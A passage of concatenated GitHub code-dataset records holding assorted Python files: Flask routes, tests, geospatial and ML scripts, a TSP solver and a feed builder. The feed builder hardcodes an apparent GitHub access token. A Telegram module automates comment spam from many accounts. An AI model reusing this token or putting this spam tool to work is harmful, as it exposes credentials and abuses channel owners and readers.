\n\nprint(sum(res))","repo_name":"hobin-jang/baekjoon","sub_path":"python/13904.py","file_name":"13904.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"7067983639","text":"from datetime import datetime\nfrom flask import render_template, flash, redirect, url_for, request, g\nfrom flask_login import current_user, login_required\nfrom flask_babel import _, get_locale\nfrom app import db\nfrom app.main.forms import EditProfileForm\nfrom app.models import User\nfrom app.main import bp\nfrom app.main.forms import SearchForm\n\n@bp.before_app_request\ndef before_request():\n if current_user.is_authenticated:\n current_user.last_seen = datetime.utcnow()\n db.session.commit()\n g.search_form = SearchForm()\n g.locale = str(get_locale())\n\n@bp.route('/', methods=['GET', 'POST'])\n@bp.route('/index', methods=['GET', 'POST'])\n@login_required\ndef index():\n return render_template('index.html', title=_('Home'))\n\n@bp.route('/user/')\n@login_required\ndef user(username):\n user = User.query.filter_by(username=username).first_or_404()\n return render_template('user.html', user=user)\n\n@bp.route('/user//popup')\n@login_required\ndef user_popup(username):\n user = User.query.filter_by(username=username).first_or_404()\n return render_template('user_popup.html', user=user)\n\n@bp.route('/edit_profile', methods=['GET', 'POST'])\n@login_required\ndef edit_profile():\n form = EditProfileForm(current_user.username)\n if form.validate_on_submit():\n current_user.username = form.username.data\n current_user.about_me = form.about_me.data\n db.session.commit()\n flash(_('Your changes have been saved.'))\n return redirect(url_for('main.edit_profile'))\n elif request.method == 'GET':\n form.username.data = current_user.username\n form.about_me.data = current_user.about_me\n return render_template('edit_profile.html', title=_('Edit Profile'),\n form=form)\n\n\n@bp.route('/follow/')\n@login_required\ndef follow(username):\n user = User.query.filter_by(username=username).first()\n if user is None:\n flash(_('User %(username)s not found.', username=username))\n return redirect(url_for('main.index'))\n if user == current_user:\n flash(_('You cannot follow yourself!'))\n return redirect(url_for('main.user', username=username))\n current_user.follow(user)\n db.session.commit()\n flash(_('You are following %(username)s!', username=username))\n return redirect(url_for('main.user', username=username))\n\n\n@bp.route('/unfollow/')\n@login_required\ndef unfollow(username):\n user = User.query.filter_by(username=username).first()\n if user is None:\n flash(_('User %(username)s not found.', username=username))\n return redirect(url_for('main.index'))\n if user == current_user:\n flash(_('You cannot unfollow yourself!'))\n return redirect(url_for('main.user', username=username))\n current_user.unfollow(user)\n db.session.commit()\n flash(_('You are not following %(username)s.', username=username))\n return redirect(url_for('main.user', username=username))","repo_name":"lbhtran/flaskapp-base","sub_path":"app/main/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29257621557","text":"import pytest\nfrom flask import Flask\n\nfrom maps.b2bgeo.ya_courier.backend.test_lib.conftest import skip_if_remote\nfrom ya_courier_backend.util.domains import get_enabled_services\nfrom ya_courier_backend.resources.logistic_company import ServiceType\n\n\n@pytest.fixture(scope='module')\ndef _flask_mock_app():\n app = Flask(__name__)\n with app.app_context():\n yield app\n\n\n@skip_if_remote\ndef test_default_services(_flask_mock_app):\n with _flask_mock_app.test_request_context('/', base_url=\"http://courier.yandex.ru\"):\n services = get_enabled_services()\n assert services == set([ServiceType.mvrp, ServiceType.courier])\n\n with _flask_mock_app.test_request_context('/', base_url=\"http://courier.yandex.com.tr\"):\n services = get_enabled_services()\n assert services == set([ServiceType.mvrp])\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"maps/tests/util/test_domains.py","file_name":"test_domains.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28070806932","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu May 23 08:13:20 2019\r\n\r\n@author: Administrator\r\n\"\"\"\r\nimport pandas as pd\r\nimport geopandas as gpd\r\nimport glob\r\nimport os\r\nfrom geopandas import GeoDataFrame\r\nfrom shapely.geometry import Point\r\nimport numpy as np\r\nimport pycrs\r\n\r\n# This script is used to concat the csv files containing GVI infromation and to export them as a shapefile\"\r\n# Akseli Toikka and Ville Mäkinen Finnish Geospatial Research Institute FGI. National Land Survey of Finland.\r\n\r\n#Make sure you are working in the directory where the GVI files are saved at. \r\n\r\n#os.listdir returns list of the files in direction\r\nGVI_files = os.listdir()\r\n\r\n#create empty dataframe with the wanted names for columns\r\nDF = pd.DataFrame(columns = ['panoID','panoDate','longitude','lattitude','GviH_0','GviH_60','GviH_120','GviH_180','GviH_240','GviH_300','Gvi_Mean'])\r\n\r\n#Loop through the files in file direction, separate lines (s) in files, separate items (si) in lines\r\nfor textfile in GVI_files:\r\n with open(textfile) as f:\r\n s = ''\r\n for line in f:\r\n s += line.strip()\r\n s = s.split('panoID: ')\r\n for item in s:\r\n if len(item)<2:\r\n continue\r\n si = item.replace('[', '').replace(']','').replace(',','')\r\n si = si.split(' ')\r\n if len(si)<15:\r\n print('invalid GVI value')\r\n continue\r\n \r\n data = {'panoID':[si[0]],'panoDate':[si[2]],'longitude':[si[4]],'lattitude':[si[6]],'GviH_0':[si[8]],'GviH_60':[si[9]],'GviH_120':[si[10]],'GviH_180':[si[11]],'GviH_240':[si[12]],'GviH_300':[si[13]],'Gvi_Mean':[si[15]]}\r\n DF = DF.append(pd.DataFrame.from_dict(data))\r\n \r\n\r\n#shape of the DF\r\nDF.shape\r\n\r\n#remove rows with panoID doubles\r\nData = DF.drop_duplicates(subset=['panoID'], keep='first', inplace=False)\r\n\r\n#check how many rows, should have 94455 with the Helsinki dataset\r\nData.shape\r\n\r\n#check that there is only summer months included\r\nData.groupby('panoDate').nunique()\r\n\r\n#wanted objects to float\r\nData['longitude'] = Data['longitude'].astype(float)\r\nData['lattitude']= Data['lattitude'].astype(float)\r\nData['GviH_0'] = Data['GviH_0'].astype(float)\r\nData['GviH_60'] = Data['GviH_60'].astype(float)\r\nData['GviH_120'] = Data['GviH_120'].astype(float)\r\nData['GviH_180'] = Data['GviH_180'].astype(float)\r\nData['GviH_240'] = Data['GviH_240'].astype(float)\r\nData['GviH_300'] = Data['GviH_300'].astype(float)\r\nData['Gvi_Mean'] = Data['Gvi_Mean'].astype(float)\r\n\r\n# set the wanted crs\r\ncrs = {'init': 'epsg:4326'}\r\n\r\n#create coordinate object for the geodataframe\r\ngeometry = [Point(xy) for xy in zip(Data.longitude, Data.lattitude)]\r\n\r\n#create a geodataframe\r\nGeodata = gpd.GeoDataFrame(Data, crs = crs, geometry = geometry)\r\n\r\n#check how it looks\r\nprint(Geodata.head())\r\n\r\n#save the crs as projection for the shapefile\r\nepsg_code = 4326\r\nGeodata.crs = pycrs.parse.from_epsg_code(epsg_code).to_proj4()\r\n\r\n#save the result as a shapefile\r\nout_shp= 'Name of the file.shp'\r\nGeodata.to_file(out_shp, driver='ESRI Shapefile')\r\n","repo_name":"geoporttishare/Helsinki_GreenView","sub_path":"5_GVI_to_shp.py","file_name":"5_GVI_to_shp.py","file_ext":"py","file_size_in_byte":3035,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"3"} +{"seq_id":"33247655604","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport torch\nfrom tqdm import tqdm\n\nfrom pose_detect.Config.configs import LDIF_CONFIG\n\nfrom pose_detect.Method.paths import getModelPath\nfrom pose_detect.Model.ldif.ldif import LDIF\nfrom pose_detect.Dataset.dataloaders import LDIF_dataloader\n\nfrom pose_detect.Module.base_loader import BaseLoader\n\nclass Detector(BaseLoader):\n def __init__(self):\n super(Detector, self).__init__()\n\n self.model = None\n return\n\n def loadModel(self, model):\n self.model = model(self.config, 'test')\n\n model_path = getModelPath(self.config)\n if model_path is None:\n print(\"[INFO][Detector::loadModel]\")\n print(\"\\t trained model not found!\")\n return False\n\n state_dict = torch.load(model_path)\n self.model.load_state_dict(state_dict['model'])\n self.model.to(self.device)\n return True\n\n def initEnv(self, config, model):\n if not self.loadConfig(config):\n print(\"[ERROR][Detector::initEnv]\")\n print(\"\\t loadConfig failed!\")\n return False\n if not self.loadDevice():\n print(\"[ERROR][Detector::initEnv]\")\n print(\"\\t loadDevice failed!\")\n return False\n if not self.loadModel(model):\n print(\"[ERROR][Detector::initEnv]\")\n print(\"\\t loadModel failed!\")\n return False\n return True\n\n def detect(self, data):\n data = self.to_device(data)\n with torch.no_grad():\n est_data = self.model(data)\n return est_data\n\ndef demo():\n config = LDIF_CONFIG\n model = LDIF\n\n detector = Detector()\n detector.initEnv(config, model)\n\n test_dataloader = LDIF_dataloader(config, 'test')\n for data in tqdm(test_dataloader):\n result = detector.detect(data)\n\n print(\"==== input ====\")\n for key, item in data.items():\n try:\n print(key + \".shape =\", item.shape)\n except:\n continue\n\n print(\"==== result ====\")\n for key, item in result.items():\n try:\n print(key + \".shape =\", item.shape)\n except:\n continue\n return True\n\nif __name__ == \"__main__\":\n demo()\n\n","repo_name":"565353780/implicit-3d-understanding","sub_path":"pose_detect/Module/detector.py","file_name":"detector.py","file_ext":"py","file_size_in_byte":2281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30118905757","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Optional\n\nfrom dm.core.objects.status import DMStatus\nfrom utilities import *\n\nif TYPE_CHECKING:\n from dm.core.contexts import AttackContext\n from dm.core.objects.unit import DMUnit\n from dm.core.game.game import DMGame\n################################################################################\n\n__all__ = (\"Absorption\",)\n\n################################################################################\nclass Absorption(DMStatus):\n\n def __init__(\n self,\n game: DMGame,\n parent: Optional[DMUnit] = None,\n stacks: Optional[int] = 1\n ):\n\n super().__init__(\n game,\n parent,\n _id=\"BUF-101\",\n name=\"Absorption\",\n description=(\n \"Only take damage equal to 10% of your Maximum LIFE should the \"\n \"damage exceed that amount. Reduce Absorption by 1 each time \"\n \"it is activated.\"\n ),\n stacks=stacks,\n status_type=StatusType.Buff\n )\n\n################################################################################\n def handle(self, ctx: AttackContext) -> None:\n \"\"\"Called in every iteration of the battle loop.\"\"\"\n\n # If we're defending\n if self.owner == ctx.target:\n # And if the attack's damage will exceed 10% of max LIFE\n if ctx.damage > self.owner.max_life * 0.10:\n # Do a hard override to 10% of LIFE.\n ctx.override_damage(self.owner.max_life * 0.10)\n # And reduce stacks.\n self.reduce_stacks_by_one()\n\n################################################################################\n","repo_name":"AllegroVivo/DungeonDefense","sub_path":"dm/statuses/buffs/Absorption.py","file_name":"Absorption.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42854438987","text":"import itertools\nfrom typing import Set\n\nimport tsplib95 as tsp\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport numpy as np\nimport time\nimport random\n\n\nclass LocalSearchSolver:\n def __init__(self, g: nx.DiGraph, distance_matrix: np.matrix):\n self.g = g\n self.dm = distance_matrix\n self.g, self.start_node, self.unused_nodes = self.create_random_route(self.g)\n\n def __find_nn(self, node: int, nodes_list: list, dm: np.matrix):\n nn = nodes_list[0]\n min_distance = np.min(dm[nn - 1, node - 1])\n\n for n in nodes_list[1:]:\n distance = np.min(dm[n - 1, node - 1])\n\n if distance < min_distance:\n nn = n\n min_distance = distance\n\n return nn\n\n def __find_shortest_loop(self, node, edges, dm):\n n1_min, n2_min = edges[0]\n min_loop = dm[node - 1, n1_min - 1] + dm[node - 1, n2_min - 1] - dm[\n n1_min - 1, n2_min - 1]\n\n for e in edges[1:]:\n n1, n2 = e\n loop = dm[node - 1, n1 - 1] + dm[node - 1, n2 - 1] - dm[\n n1 - 1, n2 - 1]\n if loop < min_loop:\n min_loop = loop\n n1_min = n1\n n2_min = n2\n\n return n1_min, n2_min, min_loop\n\n def __replace_nodes(self, n1, n2):\n g = self.g\n n1_prev, n1_next = tuple(g.in_edges(n1))[0][0], tuple(g.out_edges(n1))[0][1]\n\n g.remove_edge(n1_prev, n1)\n g.remove_edge(n1, n1_next)\n\n g.add_edge(n1_prev, n2)\n g.add_edge(n2, n1_next)\n\n def __reorder_nodes(self, n1, n2):\n g = self.g\n n1_prev, n1_next = tuple(g.in_edges(n1))[0][0], tuple(g.out_edges(n1))[0][1]\n n2_prev, n2_next = tuple(g.in_edges(n2))[0][0], tuple(g.out_edges(n2))[0][1]\n\n if n1 == n2_prev:\n n1_next = n1\n n2_prev = n2\n\n g.remove_edge(n1_prev, n1)\n g.remove_edge(n1, n1_next)\n g.remove_edge(n2_prev, n2)\n g.remove_edge(n2, n2_next)\n\n g.add_edge(n1_prev, n2)\n g.add_edge(n2, n1_next)\n g.add_edge(n2_prev, n1)\n g.add_edge(n1, n2_next)\n\n def __reorder_edge(self, e1, e2): # e1 początek krawędzi, e2 koniec\n g = self.g\n e1_prev = tuple(g.in_edges(e1))[0][0]\n e2_next = tuple(g.out_edges(e2))[0][1]\n\n # print(e1_prev, e1, tuple(g.out_edges(e1))[0][1])\n # print(tuple(g.in_edges(e2))[0][0], e2, e2_next)\n\n g.remove_edge(e1_prev, e1)\n g.remove_edge(e2, e2_next)\n\n e_list = []\n e = e1\n while e != e2:\n e_list.append(list(g.out_edges(e))[0])\n e = tuple(g.out_edges(e))[0][1]\n\n for e, ee in e_list:\n g.remove_edge(e, ee)\n g.add_edge(ee, e)\n\n g.add_edge(e1_prev, e2)\n g.add_edge(e1, e2_next)\n\n def __delta_reorder_edge(self, e1, e2):\n g, dm = self.g, self.dm\n e1_prev = tuple(g.in_edges(e1))[0][0]\n e2_next = tuple(g.out_edges(e2))[0][1]\n\n old_distance = dm[e1_prev - 1, e1 - 1] + dm[e2 - 1, e2_next - 1]\n new_distance = dm[e1_prev - 1, e2 - 1] + dm[e1 - 1, e2_next - 1]\n\n return new_distance - old_distance\n\n def __delta_reorder_nodes(self, n1, n2):\n g, dm = self.g, self.dm\n\n n1_prev, n1_next = tuple(g.in_edges(n1))[0][0], tuple(g.out_edges(n1))[0][1]\n n2_prev, n2_next = tuple(g.in_edges(n2))[0][0], tuple(g.out_edges(n2))[0][1]\n\n if n1 == n2_prev:\n n1_next = n1\n n2_prev = n2\n\n old_distance = dm[n1_prev - 1, n1 - 1] + dm[n2_prev - 1, n2 - 1] + dm[n2 - 1, n2_next - 1] + dm[\n n1 - 1, n1_next - 1]\n new_distance = dm[n1_prev - 1, n2 - 1] + dm[n2_prev - 1, n1 - 1] + dm[n2 - 1, n1_next - 1] + dm[\n n1 - 1, n2_next - 1]\n\n return new_distance - old_distance\n\n def __delta_replace_nodes(self, n1, n2): # n1 jest w ścieżce, n2 nie\n g, dm = self.g, self.dm\n\n n1_prev, n1_next = tuple(g.in_edges(n1))[0][0], tuple(g.out_edges(n1))[0][1]\n\n old_distance = dm[n1_prev - 1, n1 - 1] + dm[n1 - 1, n1_next - 1]\n new_distance = dm[n1_prev - 1, n2 - 1] + dm[n2 - 1, n1_next - 1]\n\n return new_distance - old_distance\n\n def _get_objective_function_value(self, g):\n dm = self.dm\n sum = 0\n for e in g.edges():\n u, v = e\n sum += dm[u - 1, v - 1]\n\n return sum\n\n def create_random_route(self, g):\n g.clear_edges()\n unused_nodes = list(g.nodes)\n start_node = node = random.choice(unused_nodes)\n unused_nodes.remove(start_node)\n\n while g.number_of_edges() != int(g.number_of_nodes() * 0.5) - 1:\n new_node = random.choice(unused_nodes)\n g.add_edge(node, new_node)\n unused_nodes.remove(new_node)\n node = new_node\n g.add_edge(node, start_node)\n\n self.show_graph(self.g, \"random_route.png\")\n return g, start_node, unused_nodes\n\n def random_alg(self):\n g = self.g\n g_copy = self.g.copy()\n minimum = self._get_objective_function_value(g)\n\n start_time = time.time()\n while time.time() < start_time + 5.39:\n g, _, _ = self.create_random_route(g)\n length = self._get_objective_function_value(g)\n if length < minimum:\n minimum = length\n\n print(\"Route length:\", minimum)\n self.g = g_copy\n return g, minimum\n\n def update_cache(self, unused_nodes: list, used_nodes: list, cached_moves: dict):\n g = self.g\n\n for n1 in used_nodes:\n for n2 in used_nodes:\n if n2 == n1 or n2 == tuple(g.in_edges(n1))[0][0] or n2 == tuple(g.out_edges(n1))[0][1]:\n continue\n delta = self.__delta_reorder_edge(n1, n2)\n if delta < 0:\n cached_moves[\"E\"].add((n1, n2, delta))\n\n for n2 in unused_nodes:\n if n1 == n2:\n continue\n delta = self.__delta_replace_nodes(n1, n2)\n if delta < 0:\n cached_moves[\"N\"].add((n1, n2, delta))\n\n return cached_moves\n\n def remove_from_cache(self, cached_moves, val: list):\n cached_moves[\"E\"] = set([x for x in cached_moves[\"E\"] if all(x[0] != y and x[1] != y for y in val)])\n cached_moves[\"N\"] = set([x for x in cached_moves[\"N\"] if all(x[0] != y and x[1] != y for y in val)])\n return cached_moves\n\n def streepest_edges_with_memory(self):\n g = self.g\n g_copy = self.g.copy()\n print(\"Random route length:\", self._get_objective_function_value(g))\n\n unused_nodes = self.unused_nodes.copy()\n cached_moves = {\"N\": set(), \"E\": set()}\n update_list = list(set(g.nodes) - set(unused_nodes))\n while True:\n cached_moves = self.update_cache(unused_nodes, update_list, cached_moves)\n\n if not cached_moves[\"N\"]:\n cached_moves[\"N\"].add((0, 0, 0))\n if not cached_moves[\"E\"]:\n cached_moves[\"E\"].add((0, 0, 0))\n\n best_node = min(cached_moves[\"N\"], key=lambda x: x[2])\n best_edge = min(cached_moves[\"E\"], key=lambda x: x[2])\n # print(best_edge, best_node)\n\n update_list = []\n if best_edge[2] >= 0 and best_node[2] >= 0:\n break\n elif best_edge[2] < best_node[2]:\n edge_prev = tuple(g.in_edges(best_edge[0]))[0][0]\n edge_next = tuple(g.out_edges(best_edge[1]))[0][1]\n update_list.extend([edge_prev, best_edge[0], best_edge[1], edge_next])\n self.__reorder_edge(best_edge[0], best_edge[1])\n self.remove_from_cache(cached_moves, update_list)\n else:\n update_list.extend(\n [tuple(g.in_edges(best_node[0]))[0][0], best_node[0], tuple(g.out_edges(best_node[0]))[0][1],\n best_node[1]])\n self.__replace_nodes(best_node[0], best_node[1])\n unused_nodes.append(best_node[0])\n unused_nodes.remove(best_node[1])\n self.remove_from_cache(cached_moves, update_list)\n update_list.remove(best_node[0])\n # print(\"Route length:\", self._get_objective_function_value(g))\n\n print(\"Route length:\", self._get_objective_function_value(g))\n self.show_graph(g, \"streepest_edges.png\")\n self.g = g_copy\n return g, self._get_objective_function_value(g)\n\n def show_graph(self, graph, name: str):\n pos = dict(problem.node_coords)\n nx.draw_networkx(graph, pos=pos, font_size=6, node_size=50)\n plt.savefig(name)\n plt.clf()\n plt.show()\n\n\nif __name__ == '__main__':\n # wczytywanie problemu\n problem = tsp.load('../data/kroB200.tsp')\n # problem = tsp.load('data/kroB100.tsp')\n\n # tworzenie grafu na podstawie problemu\n graph = problem.get_graph().to_directed()\n distance_matrix = nx.to_numpy_matrix(graph)\n # np.savetxt('distance_matrix.txt',distance_matrix,fmt='%.2f')\n\n # solver robi brr\n mean_values, mean_time, min_len, max_len = [0] * 5, [0] * 5, [(nx.DiGraph(), 90000)] * 5, [(nx.DiGraph(), 0)] * 5\n n = 100\n\n for j in range(0, n):\n print(j)\n lcs = LocalSearchSolver(graph, distance_matrix)\n func_list = [lcs.streepest_edges_with_memory]\n\n for i in range(0, len(func_list)):\n start_time = time.time()\n g, length = func_list[i]()\n mean_time[i] += time.time() - start_time\n mean_values[i] += length\n\n if length < min_len[i][1]:\n min_len[i] = (g, length)\n elif length > max_len[i][1]:\n max_len[i] = (g, length)\n\n for L in [mean_values, mean_time]:\n for i in range(0, len(L)):\n L[i] = round(L[i] / n, 2)\n\n for m in min_len:\n LocalSearchSolver.show_graph(None, m[0], f\"min_{m[1]}.png\")\n\n for m in max_len:\n LocalSearchSolver.show_graph(None, m[0], f\"max_{m[1]}.png\")\n\n print(mean_values)\n print(mean_time)\n print(min_len)\n print(max_len)\n","repo_name":"Zerkles/AEM","sub_path":"p3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3562830251","text":"import csv\nimport sys\nfrom datetime import datetime\nfrom github import Github\n\n#Get parameter file to parse\nfilename = sys.argv[1]\n\n\n#date\ntime = datetime.now()\niso_date = time.isoformat()\ndayofweek = time.strftime(\"%a\")\ndayofmonth = time.strftime(\"%w\")\nmonth = time.strftime(\"%b\")\nyear = time.strftime(\"%Y\")\ncurrenttime = time.strftime(\"%H\") + \":\" + time.strftime(\"%M\") + \":\" + time.strftime(\"%S\")\nshortTime = time.strftime(\"%H\") + time.strftime(\"%M\")\ndatestring = dayofweek + \", \" + dayofmonth + \" \" + month + \" \" + year + \" \" + currenttime\nfiledate = month + \"_\" + dayofmonth + \"_\" + year + \"_\" + shortTime\noutfilename = 'tlnFeed_' + filedate + \".xml\"\nrokufilename = 'rokuFeed_' + filedate + \".json\"\n\n#Create beginning of feed\noutput = ''\noutput += ''\noutput += '<![CDATA[ VideoElephant ]]>https://mrss.videoelephant.com/'\noutput += '' + datestring + ''\n\nroku = '{'\nroku += '\"providerName\": \"Dollar Design School\",'\nroku += '\"lastUpdated\": \"' + iso_date + '\",'\nroku += '\"movies\":['\n\nwith open(filename) as csvfile:\n csv_reader = csv.reader(csvfile, delimiter = \",\")\n line_count = 0\n #row_count = sum(1 for row in csv_reader)\n #print(str(row_count) + \" rows.\")\n for row in csv_reader:\n if line_count == 0:\n line_count += 1\n else:\n guid = row[0].strip()\n title = row[1].strip()\n description = row[2].strip()\n pubDate = row[3].strip()\n category = row[4].strip()\n URL= row[5].strip()\n rokuURL = URL\n URL = URL.replace('&', '&')\n duration = row[6].strip()\n tags = row[7].strip()\n thumbURL = row[8].strip()\n thumbURL = thumbURL.replace('&', '&')\n tag1 = row[9].strip()\n output += ''\n output += '' + guid + ''\n output += '<![CDATA[' + title + ']]>'\n output += ''\n output += '' + pubDate + ''\n output += ''\n output += ''\n output += ''\n output += ''\n output += ''\n output += ''\n output += ''\n roku += '{'\n roku += '\"id\": \"' + guid + '\",'\n roku += '\"title\": \"' + title + '\",'\n roku += '\"shortDescription\": \"' + description + '\",'\n roku += '\"thumbnail\": \"' + thumbURL + '\",'\n roku += '\"releaseDate\": \"' + pubDate + '\",'\n roku += '\"genres\": [\"educational\", \"technology\"],'\n roku += '\"tags\": [\"' + tag1 +'\"],'\n roku += '\"content\":{'\n roku += '\"dateAdded\": \"' + pubDate + '\",'\n roku += '\"duration\": \"' + duration + '\",'\n roku += '\"videos\":['\n roku += '{'\n roku += '\"url\": \"' + rokuURL + '\",'\n roku += '\"quality\": \"FHD\",'\n roku += '\"videoType\": \"MP4\",'\n roku += '\"bitrate\": \"null\"'\n roku += \"}]}},\"\n line_count += 1\n print(f'Processed {line_count} lines.')\n\n#End Feed\noutput += \"\"\noutput += \"\"\nroku = roku[:-1]\nroku += \"]}\"\n\n#update Roku on Github\n\n\n#Connect to Github Expires 11/4/2023\nauthtoken = \"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\"\nupdateMessage = \"Feed update: \" + iso_date\n\n#Roku\ng = Github(\"mlassoff\", authtoken)\nrepo = g.get_user().get_repo(\"rokuvideos\")\ncontents = repo.get_contents(\"index.json\")\nrepo.update_file(\"index.json\", updateMessage, roku, contents.sha)\nprint(\"Roku Github Repository Updated at https://github.com/mlassoff/rokuvideos\")\n\n#Syndicated Feed\ng = Github(\"mlassoff\", authtoken)\nrepo = g.get_user().get_repo(\"syndicatedvideos\")\ncontents = repo.get_contents(\"index.xml\")\nrepo.update_file(\"index.xml\", updateMessage, output, contents.sha)\nprint(\"Roku Github Repository Updated at https://github.com/mlassoff/syndicatedvideos\")\n\n\n#write files locally\nwith open(outfilename , 'a') as out:\n out.write(output)\nprint(\"Written to File: \" + outfilename)\n\nwith open(rokufilename, 'a') as out:\n out.write(roku)\nprint(\"Roku File: \" + rokufilename)\n","repo_name":"mlassoff/feed_creator","sub_path":"mrss_feed.py","file_name":"mrss_feed.py","file_ext":"py","file_size_in_byte":4791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73463835921","text":"import random\nfrom pyrogram.errors import MsgIdInvalid, ChatWriteForbidden, UserBannedInChannel, UsernameInvalid, UsernameNotOccupied\nfrom functions.base_function import Base\nfrom functions.utils import Field, Types\n\n\nclass Function(Base):\n \"\"\"Spam comments to post\"\"\"\n\n __id__ = 'spam_comments'\n __function_name__ = 'Spam comments'\n\n def __init__(self, accounts: Field(Types.ACCOUNTS, label_name='Accounts'),\n posts: Field(Types.INPUTS, label_name='Posts',\n pattern=r'^https://t.me/\\\\w{5,32}/[0-9]{1,}$',\n placeholder='https://t.me/simple_post/22121'),\n comments: Field(Types.TEXTAREA, label_name='Comments',\n placeholder='Hello world!'),\n settings: Field(Types.SETTINGS, label_name='Settings')):\n super().__init__(accounts, settings)\n self._posts = posts\n self._comments = comments\n self._skip = []\n\n def _is_need_finish(self):\n is_need_finish = len(self._skip) == len(self._posts)\n if is_need_finish:\n self._logger.error('No one valid post')\n return is_need_finish\n\n async def _send_comment(self, client, post):\n return await post.reply(random.choice(self._comments))\n\n @Base._check_for_flood\n async def _try_send_comment(self, post_url, client, account):\n if post_url in self._skip:\n self._logger.error(f'The post {post_url} is invalid')\n return True\n channel, post_id = post_url.rstrip('/').split('/')[-2:]\n try:\n post = await client.get_discussion_message(channel, int(post_id))\n comment = await self._send_comment(client, post)\n self._logger.info(f'Success send comment https://t.me/{channel}/{post_id}?comment={comment.id}',\n extra=dict(user_id=account.user_id))\n except MsgIdInvalid:\n self._logger.error(f'The post is invalid {post_url}')\n self._skip.append(post_url)\n except (UsernameNotOccupied, UsernameInvalid):\n self._logger(f'Channel @{channel} don\\'t exist')\n self._skip.append(post_url)\n except (ChatWriteForbidden, UserBannedInChannel) as e:\n self._logger.error(f'Can\\'t write comment to post {post_url}, details \"{e.__doc__}\"', extra=dict(user_id=account.user_id))\n return True\n\n async def _run(self, client, account):\n for post in self._posts:\n if not (await self._try_send_comment(post, client, account)):\n break\n await self._wait(post != self._posts[-1])\n\n","repo_name":"Dionis1902/FRT","sub_path":"functions/functions/spam_comments.py","file_name":"spam_comments.py","file_ext":"py","file_size_in_byte":2642,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"3"} +{"seq_id":"19084740956","text":"from json import loads\n\n# Right now, the ASTCleaner class just removes empty expressions\n# e.g. {\"Expression @Idx[33]\": {} } => {}\n\nclass ASTCleaner:\n\tdef __init__(self, ast: dict) -> None:\n\t\tself.ast = ast\n\n\tdef clean(self, top: dict=None) -> dict:\n\t\ttop = top if top else self.ast\n\n\t\tkey: str; node: dict\n\n\t\tif type(top) is not dict:\n\t\t\ttop = loads(str(top))\n\n\t\tfor key, node in list(top.items()):\n\t\t\tif type(node) != dict: continue\n\n\t\t\tif node:\n\t\t\t\tself.clean(node)\n\t\t\t\tcontinue\n\n\t\t\tif key.startswith(\"Expression\"):\n\t\t\t\tdel top[key]\n\n\t\treturn top","repo_name":"User0332/UntypedScript","sub_path":"src/utsc/ast_cleaner.py","file_name":"ast_cleaner.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"17617808633","text":"import hubbleInterpolatorClass as hubbleModel\n\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport pickle as pkl\nfrom matplotlib import colors as colors\nimport matplotlib.cm as cmx\nfrom matplotlib import rc\nimport ipdb as pdb\nimport os\ndef main():\n '''\n The new ensemble interpolatr averages the models from many subsamples\n of data and then finding yhe mean of all of them, like a random forest\n\n As a function of subsamples i want to see the difference between the predicted and true\n \n '''\n #For aesthetics \\\n \n jet = cm = plt.get_cmap('rainbow')\n cNorm = colors.Normalize(vmin=0.65, vmax=0.75)\n scalarMap = cmx.ScalarMappable(norm=cNorm, cmap=jet)\n #\n\n\n \n axarr = plt.gca()\n theta = {'H0':0.7, 'OmegaM':0.3, 'OmegaK':0., \\\n 'OmegaL':0.7, 'zLens':0.5, 'densityProfile':-1.75}\n\n interpolateToTheseTimes= np.linspace(0, 3, 1e6)\n\n #the first ensemble to test which is looking at H0 and OmegaM\n\n #hubble interpolator over a small number o\n hubbleInterpolatorJustH0 = \\\n hubbleModel.hubbleInterpolator( inputFeaturesToTrain=['H0'], \\\n nSubSamples=1)\n hubbleInterpolatorJustH0.getTrainingData('exactPDFpickles/withMass.pkl')\n\n hubbleInterpolatorJustH0.getTimeDelayModel(modelFile='pickles/withMass.pkl')\n interpolatedCumSumJustH0 = \\\n hubbleInterpolatorJustH0.predictPDF( interpolateToTheseTimes, theta )\n nSamplesToCheck = 1000\n\n\n subSampleList = [1000]\n ls = ['-','--']\n componentList = np.arange(1,7)[::-1]\n for iLine, iNumSubSamples in enumerate(subSampleList):\n for nPrincipalComponents in componentList:\n \n #for each samplesize, i want to check the \n print(iNumSubSamples)\n \n\n #second ensemble tester which is just H0 and no ensemble\n pklFile = 'pickles/diffArray_%i_nComp_%i.pkl' % (iNumSubSamples, nPrincipalComponents)\n if os.path.isfile( pklFile ):\n differenceArray = pkl.load(open(pklFile,'rb'))\n else:\n hubbleInterpolaterClass = hubbleModel.hubbleInterpolator()\n hubbleInterpolaterClass.getTrainingData('exactPDFpickles/allTrainingData.pkl')\n if iNumSubSamples == subSampleList[0]:\n featureNumbers = np.random.randint( 0, hubbleInterpolaterClass.features.shape[0], size=nSamplesToCheck)\n differenceArray = getDiffArray( iNumSubSamples, featureNumbers, nSamplesToCheck = nSamplesToCheck, nPrincipalComponents=nPrincipalComponents )\n pkl.dump(differenceArray, open(pklFile,'wb'))\n \n variance = np.sqrt(np.sum(differenceArray**2, 